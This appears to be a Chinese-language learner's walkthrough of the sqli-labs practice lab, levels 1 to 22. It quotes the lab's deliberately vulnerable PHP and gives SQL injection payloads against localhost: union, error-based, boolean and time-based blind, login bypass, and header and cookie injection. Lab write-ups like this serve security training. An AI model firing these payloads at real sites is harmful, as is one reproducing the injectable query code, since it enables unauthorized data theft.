less-1
(1)判断注入点。
?id = 1 // 正常返回
?id = 1 and 1=1 // 正常返回
?id = 1 and 1=2 //正常返回
?id = 1' and 1=2 -- a // 报错
?id = 1' and 1=1 -- a // 正常返回
判断是字符型注入。
(2)查看字段数;
?id=1' order by 3 -- a // 判断字段数为3
(3)查看回显数据,确定显示的字段的顺序;
?id=20' union select 1,2,3 -- a
(4)查看当前数据库;
?id=20' union select 1,2,database() -- a
(5)获取当前数据库中的表;
?id=20' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- a
(6)获取表中的字段名;
?id=20' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema=database() -- a
(7)查询数据;
?id=20' union select 1,2,group_concat(email_id) from emails -- a
less-2
看一眼源码,发现这个是数字型注入,其与和上面的
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
其与和less-1并没有什么区别。
less-3
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
查看源码可以得知,它的 id 是被单引号和括号围起来的。其余与less-1一致。
less-4
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
查看源码可知id被双引号和括号围起来了,其余与less-1一致。
less-5
(1)测试是字符型还是数字型注入
经过测试后发现是单引号的字符型注入。
(2)查看字段数。
http://localhost/sql/Less-5/?id=1' order by 3 -- a
(3)查看当前数据库
http://localhost/sql/Less-5/?id=1' and updatexml(1,concat('!',(select database() limit 0,1),'?'),1) -- a
可以盲注,比如说猜解数据库名字
http://localhost/sql/Less-5/?id=1’ and ascii(substr(database(),1,1))=115 – a
(4)查看数据库中的表名
我们主要采用报错注入
http://localhost/sql/Less-5/?id=1' and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'?'),1) -- a
http://localhost/sql/Less-5/?id=1' and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'?'),1) -- a
(5)获取表中的字段名
http://localhost/sql/Less-5/?id=1' and updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1),'?'),1) -- a
(6)查看数据。
http://localhost/sql/Less-5/?id=1' and updatexml(1,concat('!',(select email_id from emails limit 0,1),'?'),1) -- a
less-6
http://localhost/sql/Less-6/?id=1" and updatexml(1,concat('?', (select database()),'?'),1) -- a
这个构造闭合是 “id”,其余同 less-5。
less-7
构造闭合 ((‘id’))
http://localhost/sql/Less-7/?id=1')) and 1=1 -- a
尝试了一下报错注入,发现不可以,可以使用盲注,布尔注入。
看到有大佬是写脚本过得,还有直接写木马拿到服务器的,菜鸟发抖。
less-8
这里还是盲注。需要用到的函数有:
布尔型盲注:
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:substr(str,pos,len))
ascii() 返回字符的ascii码
时间型:
sleep(n) 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
(1)首先判断闭合:
http://localhost/sql/Less-8/?id=1’ and 1=1 – a
(2)判断字段数
http://localhost/sql/Less-8/?id=1’ order by 3 – a
(3)数据库名的长度
http://localhost/sql/Less-8/?id=1’ and length(database())=8 – a
(4)数据库名字
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),1,1))=115 – a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),2,1))=101-- a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),3,1))=99-- a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),4,1))=117 – a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),5,1))=114 – a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),6,1))=105 – a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),7,1))=116 – a
http://localhost/sql/Less-8/?id=1’ and ascii(substr(database(),8,1))=121 – a
(4)猜解数据库中的表的个数
http://localhost/sql/Less-8/?id=1’ and (select count(*) from information_schema.tables where table_schema=database())=4 --+
(5)猜解数据库中表的名字
1.猜解表的名字的长度。
第一张表
http://localhost/sql/Less-8/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 %23
第二张表
http://localhost/sql/Less-8/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 %23
……
2.猜解表的名
第一张表的第一个字符
http://localhost/sql/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
第一张表的第二个字符
http://localhost/sql/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
……
(6)继续猜解指定表下的列名
http://localhost/sql/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),2,1))=100 --+
(7)猜解列,然后读取数据。
less-9
时间注入
(1)猜解数据库名长度
?id=1’ and if(length(database())=8,sleep(5),1) – a
(2)利用ASCII码猜解当前数据库名称:
?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1) – a说明第一位是s
(3)猜表名
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) – a
(4)猜字段名
?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105,sleep(5),1) – a
(5)查询数据
less-10
和上一关的闭合不同其余一致。
时间注入
(1)猜解数据库名长度
?id=1" and if(length(database())=8,sleep(5),1) – a
(2)利用ASCII码猜解当前数据库名称:
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) – a说明第一位是s
(3)猜表名
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) – a
(4)猜字段名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105,sleep(5),1) – a
(5)查询数据
less-11
界面出现了一个表单,使用POST方式传参。
查看源码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
只要输入被执行,就可以登录成功,在username后面输入万能密码
’ or 1=1 – a
登陆成功
(1)尝试万能密码:‘or 1=1 – a
(2)判断字段数:‘or 1=1 order by 2 – a
(3)判断显错位:‘union select 1,2 – a
(4)判断库名:’ union select 1,database() – a
(5)判断表名:’ union select 1,table_name from information_schema.tables where table_schema=‘security’ – a
(6)判断列名:’ union select 1,column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1-- a
(7)判断数据:’ union select 1,id from emails limit 0,1 – a
less-12
与上一关的区别在于闭合换成了 (“id”)
(1)尝试万能密码:“) or 1=1 – a
(2)判断字段数:”)or 1=1 order by 2 – a
(3)判断显错位:“)union select 1,2 – a
(4)判断库名:”) union select 1,database() – a
(5)判断表名:“) union select 1,table_name from information_schema.tables where table_schema=‘security’ – a
(6)判断列名:”) union select 1,column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1-- a
(7)判断数据:") union select 1,id from emails limit 0,1 – a
less-13
(1)测试是字符型还是数字型注入
经过测试后发现是单引号小括号的字符型注入。
(2)查看字段数。
?id=1' order by 3 -- a
(3)查看当前数据库
?id=1') and updatexml(1,concat('!',(select database() limit 0,1),'?'),1) -- a
(4)查看数据库中的表名
我们主要采用报错注入
?id=1') and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'?'),1) -- a
?id=1') and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'?'),1) -- a
(5)获取表中的字段名
?id=1') and updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1),'?'),1) -- a
(6)查看数据。
?id=1') and updatexml(1,concat('!',(select email_id from emails limit 0,1),'?'),1) -- a
less-14
与上一关的区别在于闭合 变为了双引号。
less-15
(1)首先判断闭合:
’ or 1=1 – a
(2)判断字段数
不知道怎么判断字段数
(3)数据库名的长度
’ or length(database())=8 – a
(4)数据库名字
’ or ascii(substr(database(),1,1))=115 – a
’ or ascii(substr(database(),2,1))=101-- a
’ or ascii(substr(database(),3,1))=99-- a
’ or ascii(substr(database(),4,1))=117 – a
’ or ascii(substr(database(),5,1))=114 – a
’ or ascii(substr(database(),6,1))=105 – a
’ or ascii(substr(database(),7,1))=116 – a
’ or ascii(substr(database(),8,1))=121 – a
(5)猜解数据库中的表的个数
’ or (select count(*) from information_schema.tables where table_schema=database())=4 --+
(6)猜解数据库中表的名字
1.猜解表的名字的长度。
第一张表
’ or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 – a
第二张表
’ or length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 – a
……
2.猜解表的名
第一张表的第一个字符
’ or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 – aa
第一张表的第二个字符
’ or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 – a
……
(7)继续猜解指定表下的列名
’ or ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),2,1))=100 – a
(8)猜解列,然后读取数据。
less-17
和上一关的思路一样
只是闭合的区别 ")
不太懂的地方是后面的为什么是 or
(1)测试是字符型还是数字型注入
经过测试后发现是单引号的字符型注入。
(2)查看字段数。
查看字段数
(3)查看当前数据库
' and updatexml(1,concat('!',(select database() limit 0,1),'?'),1) -- a
(4)查看数据库中的表名
我们主要采用报错注入
' or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'?'),1) -- a
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- aaa
' or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'?'),1) -- a
(5)获取表中的字段名
' or updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1),'?'),1) -- a
(6)查看数据。
' or updatexml(1,concat('!',(select email_id from emails limit 0,1),'?'),1) -- a
less-18
请求头Useer-agent注入
查看源码:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
可以修改请求头的 User-agent达到注入数据库的目的。
判断库名:'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) – a
后面的都没有成功,不知道为什么。
less-19
这一关是在referer上注入就可。
判断库名
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ’
判断库名之后后面的就都不行了,不知道为什么。
less-20
cookie注入。
查看数据库:’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) – a
查看数据:’ and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) – a
less-21
此题的cookie后面的值被进行了 base64 编码,由于编码的问题 --+和#在编码的过程中可能出现问题,所以这里采用的注释方式是 ‘1’ and '1
less-22
这一题和前面的做法一致,只是符号的区别。这题是双引号